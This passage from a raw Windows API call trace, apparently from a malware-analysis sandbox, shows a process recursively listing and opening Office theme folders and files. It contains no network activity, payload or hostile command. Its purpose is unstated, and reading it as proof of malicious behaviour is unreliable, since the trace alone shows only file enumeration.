lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.597] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON", cAlternateFileName="")) returned 1 [0052.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0052.597] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0052.597] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0052.597] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0052.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xef6610 [0052.597] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xef6610, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xef6610, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0052.597] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef6610) returned 1 [0052.598] NtClose (Handle=0x170) returned 0x0 [0052.598] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0052.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0052.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0052.598] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4d60 [0052.598] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0052.598] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.598] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdad6ec00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdad6ec00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe58e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON.ELM", cAlternateFileName="")) returned 1 [0052.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.598] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.598] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4e68 [0052.598] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0052.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef1610 [0052.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4f70 [0052.598] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.598] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON.INF", cAlternateFileName="")) returned 1 [0052.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.598] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.599] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef1630 [0052.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef5078 [0052.599] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.599] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b50300, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85b50300, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x621, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0052.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.599] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.599] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef1650 [0052.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef5180 [0052.599] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.599] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0052.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.599] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.599] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef1670 [0052.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef5288 [0052.599] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.600] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0052.600] GetLastError () returned 0x12 [0052.600] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0052.600] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0052.600] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.600] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdad6ec00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdad6ec00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe58e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON.ELM", cAlternateFileName="")) returned 1 [0052.600] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON.INF", cAlternateFileName="")) returned 1 [0052.600] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b50300, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85b50300, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x621, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0052.600] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0052.600] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0052.600] GetLastError () returned 0x12 [0052.600] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4d60) returned 1 [0052.600] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0052.600] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4e68) returned 1 [0052.600] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0052.600] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC", cAlternateFileName="")) returned 1 [0052.600] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.600] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0052.629] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0052.629] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0052.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xef6610 [0052.629] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xef6610, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xef6610, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0052.629] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef6610) returned 1 [0052.629] NtClose (Handle=0x17c) returned 0x0 [0052.629] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0052.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0052.629] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4e68 [0052.629] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0052.630] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.630] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc081900, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdc081900, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10fc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC.ELM", cAlternateFileName="")) returned 1 [0052.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.630] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.630] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4d60 [0052.630] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0052.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef1690 [0052.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef5390 [0052.630] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.630] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x201, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC.INF", cAlternateFileName="")) returned 1 [0052.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.630] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.630] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef16b0 [0052.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef5498 [0052.630] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.630] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xba9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0052.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.631] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.631] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef16d0 [0052.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef55a0 [0052.631] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.631] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0052.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.631] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.631] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef16f0 [0052.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef56a8 [0052.631] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.631] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0052.631] GetLastError () returned 0x12 [0052.631] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0052.631] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0052.631] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.632] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc081900, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdc081900, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10fc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC.ELM", cAlternateFileName="")) returned 1 [0052.632] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x201, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC.INF", cAlternateFileName="")) returned 1 [0052.632] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, 